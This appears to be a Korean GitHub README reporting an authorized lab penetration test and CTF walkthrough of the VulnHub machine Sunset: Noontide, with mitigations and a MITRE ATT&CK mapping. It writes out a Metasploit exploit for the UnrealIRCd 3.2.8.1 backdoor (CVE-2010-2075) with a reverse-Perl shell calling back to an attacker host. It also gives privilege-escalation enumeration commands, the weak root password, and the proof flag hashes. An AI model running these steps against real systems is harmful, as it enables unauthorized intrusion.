
Description Sunset: Noontide VulnHub 머신에 대한 전문적인 침투 테스트 평가로, 정찰, 서비스 열거, CVE-2010-2075 익스플로잇, 후속 침투, 권한 상승, 그리고 전체 시스템 장악을 다룹니다.
VulnHub의 의도적으로 취약하게 구성된 머신인 Sunset: Noontide에 대한 전문적인 침투 테스트 평가 및 CTF 워크스루입니다.
이 프로젝트는 정찰, 서비스 열거, 취약점 조사, 익스플로잇, 초기 접근, 침투 후 활동, 권한 상승, 침해 증명, 위험 평가, MITRE ATT&CK 매핑, 그리고 완화 조치를 포함한 전체 침투 테스트 수명 주기를 문서화합니다.
⚠️ 면책 조항: 이 평가는 승인된 실험실 환경에서 의도적으로 취약하게 구성된 머신을 대상으로 수행되었습니다. 여기에 문서화된 기술과 명령은 명시적 승인을 받은 시스템에만 사용하도록 의도되었습니다.
| 구성 요소 | 세부 정보 |
|---|---|
| 대상 | Sunset: Noontide |
| 플랫폼 | VulnHub |
| 대상 IP | 10.106.186.186 |
| 대상 호스트 이름 | noontide |
| 대상 OS | Debian GNU/Linux 10 (Buster) |
| 아키텍처 | x86_64 |
| 공격자 플랫폼 | Kali Linux |
| 공격자 IP | 10.106.186.204 |
| 평가 유형 | 승인된 실험실 평가 |
| 전체 위험도 | CRITICAL |
| 평가 결과 | 전체 시스템 침해 |
대상 탐색 → Nmap 열거 → UnrealIRCd 3.2.8.1 식별 → SearchSploit → CVE-2010-2075 식별 → Metasploit 익스플로잇 → 원격 명령 셸 → server로 셸 획득 → Linux 침투 후 활동 → 취약한 root 자격 증명 → su root → UID 0 / Root 접근 → User 및 Root 증명 파일
취약한 대상을 식별하기 위해 초기 네트워크 탐색이 수행되었습니다.
대상은 최종적으로 다음과 같이 식별되었습니다:
10.106.186.186
정찰 과정에서 10.106.186.142는 의도한 대상이 아닌 기본 게이트웨이로 식별되었습니다.
이는 특히 브리지 또는 공유 실험실 네트워크에서 추가 보안 테스트를 수행하기 전에 대상을 올바르게 식별하는 것의 중요성을 강조합니다.
다음을 사용하여 대상에 대해 Nmap 서비스 및 버전 탐지가 수행되었습니다:
nmap -sV 10.106.186.186
평가 중 식별된 중요한 노출 서비스는 다음과 같습니다:
6667/tcp open irc UnrealIRCd
그런 다음 다음을 사용하여 더 자세한 스캔이 수행되었습니다:
nmap -sC -sV -Pn -p 6667 10.106.186.186
서비스는 다음과 같이 식별되었습니다:
UnrealIRCd 3.2.8.1
IRC 서비스는 또한 다음을 보고했습니다:
irc.foonet.com
노출된 UnrealIRCd 서비스는 평가 중 조사된 주요 공격 표면이 되었습니다.
SearchSploit은 발견된 UnrealIRCd 버전과 관련된 공개적으로 문서화된 취약점을 조사하는 데 사용되었습니다.
명령:
searchsploit UnrealIRCd 3.2.8.1
관련 결과는 다음과 같습니다:
UnrealIRCd 3.2.8.1 - Backdoor Command Exec
linux/remote/16922.rb
취약점은 다음과 같이 식별되었습니다:
CVE-2010-2075
UnrealIRCd 3.2.8.1 백도어 명령 실행
치명적
원격 명령 실행
취약한 서비스의 성공적인 익스플로잇을 통해 공격자는 대상 시스템에서 명령을 원격으로 실행할 수 있습니다.
취약한 IRC 서비스는 Metasploit Framework를 사용하여 익스플로잇되었습니다.
선택된 모듈은 다음과 같습니다:
exploit/unix/irc/unreal_ircd_3281_backdoor
구성 예시:
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 10.106.186.186
초기 페이로드 시도는 사용 가능한 세션을 생성하지 못했습니다.
이후 호환되는 Unix reverse-Perl 페이로드가 선택되었습니다:
set payload cmd/unix/reverse_perl
set LHOST 10.106.186.204
set LPORT 4444
run
Metasploit은 대상이 취약한 것으로 보인다고 보고했으며 성공적으로 명령 셸 세션을 열었습니다.
획득한 셸은 다음을 사용하여 확인되었습니다:
whoami
결과:
server
이는 server 계정으로 성공적인 원격 명령 실행을 확인했습니다.
초기 작업 디렉터리는 다음과 같았습니다:
/home/server/irc/Unreal3.2
이 단계에서 평가는 원격 서비스 익스플로잇에서 로컬 침투 후 열거로 진행되었습니다.
셸을 획득한 후, 침해된 호스트를 이해하고 잠재적인 권한 상승 경로를 식별하기 위해 표준 Linux 열거가 수행되었습니다.
명령:
id
결과:
uid=1000(server) gid=1000(server)
계정은 비 root 사용자였습니다.
명령:
hostname
결과:
noontide
명령:
uname -a
결과:
Linux noontide 4.19.0-10-amd64 x86_64
명령:
cat /etc/os-release
결과:
Debian GNU/Linux 10 (buster)
이 명령들은 현재 신원, 호스트 이름, 커널 버전, 운영 체제 및 일반적인 시스템 구성을 확립했습니다.
여러 표준 Linux 권한 상승 검사가 수행되었습니다.
명령:
find / -perm -4000 -type f 2>/dev/null
passwd, chsh, mount, umount, su, chfn, newgrp, gpasswd와 같은 표준 SUID 바이너리가 식별되었습니다.
성공적인 상승 벡터로 식별된 명백한 사용자 정의 또는 비정상적인 SUID 바이너리는 없었습니다.
명령:
sudo -l
사용 가능한 출력에서 유용한 sudo 기반 권한 상승 경로는 식별되지 않았습니다.
명령:
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
관찰된 예약 작업은 표준 Debian 스타일 시스템 작업이었습니다.
명백한 쓰기 가능한 root cron 작업은 식별되지 않았습니다.
명령:
find / -writable -type f 2>/dev/null | head -100
초기 결과는 주로 /proc 의사 파일이었으며 실용적인 권한 상승 벡터를 드러내지 않았습니다.
명령:
getcap -r / 2>/dev/null
결과 출력에서 유용한 capability 기반 권한 상승은 식별되지 않았습니다.
성공적인 권한 상승 경로는 취약한 머신에 구성된 의도적으로 취약한 root 자격 증명을 기반으로 했습니다.
root 계정은 다음을 사용하여 접근되었습니다:
su root
비밀번호:
root
그런 다음 root 접근이 다음을 사용하여 확인되었습니다:
id
결과:
uid=0(root) gid=0(root) groups=0(root)
신원은 또한 다음을 사용하여 확인되었습니다:
whoami
결과:
root
이는 대상 시스템에 대한 완전한 관리 제어를 확인했습니다.
사용자 수준 증명 파일은 다음 위치에 있었습니다:
/home/server/local.txt
명령:
cat /home/server/local.txt
결과:
c53c08b5bf2b0801c5d0c24149826a6e
root 수준 증명 파일은 다음 위치에 있었습니다:
/root/proof.txt
명령:
cat /root/proof.txt
결과:
ab28c8ca8da1b9ffc2d702ac54221105
root 증명은 또한 다음을 반환했습니다:
Thanks for playing! - Felipe Winsnes (@whitecr0wz)
두 증명 파일의 복구는 초기 원격 접근에서 root 수준 제어에 이르기까지 성공적인 침해를 확인합니다.
| ID | 발견 사항 | 심각도 | 영향 |
|---|---|---|---|
| VULN-01 | UnrealIRCd 3.2.8.1 백도어 | 🔴 치명적 | 원격 명령 실행 |
| VULN-02 | 취약한 Root 자격 증명 | 🔴 치명적 | 완전한 관리 침해 |
심각도: 치명적
영향받는 서비스: IRC / TCP 6667
영향받는 소프트웨어: UnrealIRCd 3.2.8.1
CVE: CVE-2010-2075
공격 유형: 원격 명령 실행
관찰된 영향: server로 원격 셸 획득
노출된 UnrealIRCd 서비스는 알려진 백도어 명령 실행 취약점과 관련된 취약한 버전을 실행하고 있었습니다.
취약점은 서비스 열거 및 SearchSploit 조사를 통해 식별되었으며 Metasploit을 사용하여 성공적으로 익스플로잇되었습니다.
취약한 IRC 서비스에 도달할 수 있는 공격자는 명령을 원격으로 실행하고 호스트에 대한 무단 접근을 획득할 수 있습니다.
심각도: 치명적
영향받는 계정: root
관찰된 자격 증명: root / root
관찰된 영향: UID 0 관리 접근
root 계정은 극도로 취약한 자격 증명으로 구성되었습니다.
server로 로컬 셸을 획득한 후, 취약한 자격 증명을 사용하여 root 계정에 접근하고 UID 0으로 확인했습니다.
로컬 셸 접근을 획득한 공격자는 취약한 root 자격 증명을 사용하여 운영 체제에 대한 완전한 제어를 획득할 수 있습니다.
취약한 UnrealIRCd 설치를 신뢰할 수 있고 지원되는 릴리스로 교체하십시오.
배포 전에 소프트웨어 무결성과 패키지 출처를 확인하십시오.
소프트웨어 무결성 또는 출처가 불확실한 경우, 신뢰할 수 있는 설치 미디어와 검증된 패키지를 사용하여 시스템을 재구축하십시오.
기본 및 취약한 자격 증명을 강력하고 고유한 관리 자격 증명으로 교체하십시오.
root와 같은 단순한 비밀번호를 사용하지 마십시오.
IRC가 필요한 경우 다음을 사용하여 접근을 제한하십시오:
운영 체제 및 모든 노출된 서비스에 대해 문서화된 패치 관리 프로세스를 유지하십시오.
다음을 기록하고 검토하십시오:
Sunset: Noontide 호스트는 초기 네트워크 접근에서 완전한 root 수준 제어에 이르기까지 성공적으로 침해되었습니다.
주요 초기 접근 취약점은 **UnrealIRCd 3.2.8.1 백도어 (CVE-2010-2075)**였습니다.
이 취약점은 원격 명령 실행을 제공했으며 server 계정으로 초기 셸을 획득했습니다.
그런 다음 SUID, sudo, cron, 쓰기 가능 파일, Linux capability, 신원, 운영 체제 및 파일 시스템 검사를 포함한 침투 후 열거가 수행되었습니다.
이러한 검사는 성공적인 상승 경로를 식별하지 못했습니다.
완전한 관리 접근은 궁극적으로 머신의 취약한 root 자격 증명을 통해 달성되었습니다.
사용자 수준 및 root 수준 증명 파일 모두의 성공적인 복구는 완전한 시스템 침해를 확인했습니다.
CRITICAL — 전체 시스템 침해 달성
이 프로젝트에는 상세한 전문 침투 테스트 보고서가 포함되어 있습니다:
Sunset-Noontide-Penetration-Testing-Report.pdf
보고서에는 다음이 포함됩니다:
권장 저장소 구조:
sunset-noontide-pentesting/
├── README.md
├── Sunset-Noontide-Penetration-Testing-Report.pdf
└── evidence/
├── 01-target-discovery.png
├── 02-nmap-enumeration.png
├── 03-searchsploit.png
├── 04-metasploit-exploitation.png
├── 05-initial-shell.png
├── 06-post-exploitation.png
├── 07-privilege-escalation.png
└── 08-root-proof.png
스크린샷에는 승인된 실험실 환경의 정보만 포함되어야 합니다.
이 평가는 다음에 대한 실질적인 경험을 제공했습니다:
이 저장소는 엄격히 다음을 위한 것입니다:
이 저장소에 문서화된 기술은 명시적 승인을 받은 시스템에만 수행해야 합니다.
허가 없이 프로덕션 시스템, 공공 인프라 또는 제3자 시스템에 이러한 기술을 사용하지 마십시오.
Alen Sales K S
Cybersecurity | Penetration Testing | SOC | Network Security
GitHub: https://github.com/zales2004
Sunset: Noontide는 완전한 침투 테스트 워크플로를 보여줍니다:
정찰 → 열거 → 취약점 조사 → 익스플로잇 → 초기 접근 → 침투 후 활동 → 권한 상승 → Root 접근 → 증거 수집 → 위험 평가 → 보안 보고
평가 결과: CRITICAL — 전체 시스템 침해 달성
| 기법 | ID | 관찰된 활동 |
|---|
| Network Service Scanning | T1046 | Nmap 열거 |
| Exploit Public-Facing Application | T1190 | 노출된 UnrealIRCd 서비스 익스플로잇 |
| Command and Scripting Interpreter | T1059 | 원격 명령 셸 |
| Valid Accounts | T1078 | root 자격 증명 사용 |
| Account Discovery | T1087 | 신원 및 사용자 열거 |
| System Information Discovery | T1082 | uname 및 /etc/os-release |
| File and Directory Discovery | T1083 | 파일 시스템 열거 |
| Scheduled Task/Job Discovery | T1053 | Cron 열거 |
| Permission Groups Discovery | T1069 | id 및 그룹 열거 |
| 단계 | 활동 |
|---|
| 정찰 | 네트워크 탐색 및 대상 식별 |
| 열거 | Nmap 서비스/버전 탐지 |
| 취약점 조사 | SearchSploit 및 Metasploit 모듈 식별 |
| 익스플로잇 | UnrealIRCd 백도어 익스플로잇 |
| 초기 접근 | server로 명령 셸 |
| 침투 후 활동 | 신원, OS, 파일 시스템 및 권한 열거 |
| 권한 상승 | SUID, sudo, cron, 쓰기 가능 파일 및 capability 검사 |
| 증거 수집 | User 및 root 증명 파일 |
| 보고 | 발견 사항, 위험 분석 및 완화 조치 |
| 목표 | 상태 |
|---|
| 대상 식별 | ✅ PASS |
| 노출된 서비스 식별 | ✅ PASS |
| 취약한 버전 식별 | ✅ PASS |
| CVE 식별 | ✅ PASS |
| 원격 명령 실행 | ✅ PASS |
server로 초기 셸 | ✅ PASS |
| User 증명 복구 | ✅ PASS |
| 권한 상승 | ✅ PASS |
| Root 접근 확인 | ✅ PASS |
| Root 증명 복구 | ✅ PASS |